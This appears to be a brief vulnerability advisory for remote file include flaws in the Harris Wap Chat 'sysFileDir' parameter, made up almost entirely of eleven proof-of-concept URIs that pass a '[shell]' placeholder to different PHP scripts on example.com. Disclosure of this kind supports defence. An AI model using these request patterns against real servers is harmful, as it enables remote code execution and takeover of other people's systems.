|
Harris Wap Chat 'sysFileDir' Parameter Multiple Remote File Include Vulnerabilities
An attacker can exploit these issues via a browser. The following proof-of-concept URIs are available: http://www.example.com/wapchat/src/eng.writeMsg.php?sysFileDir=[shell] http://www.example.com/wapchat/src/eng.adCreate.php?sysFileDir=[shell] http://www.example.com/wapchat/src/eng.adCreateSave.php?sysFileDir=[shell] http://www.example.com/wapchat/src/eng.adDispByTypeOptions.php?sysFileDir=[shell] http://www.example.com/wapchat/src/eng.createRoom.php?sysFileDir=[shell] http://www.example.com/wapchat/src/eng.forward.php?sysFileDir=[shell] http://www.example.com/wapchat/src/eng.pageLogout.php?sysFileDir=[shell] http://www.example.com/wapchat/src/eng.resultMember.php?sysFileDir=[shell] http://www.example.com/wapchat/src/eng.roomDeleteConfirm.php?sysFileDir=[shell] http://www.example.com/wapchat/src/eng.saveNewRoom.php?sysFileDir=[shell] http://www.example.com/wapchat/src/eng.searchMember.php?sysFileDir=[shell] |
|
|
Privacy Statement |
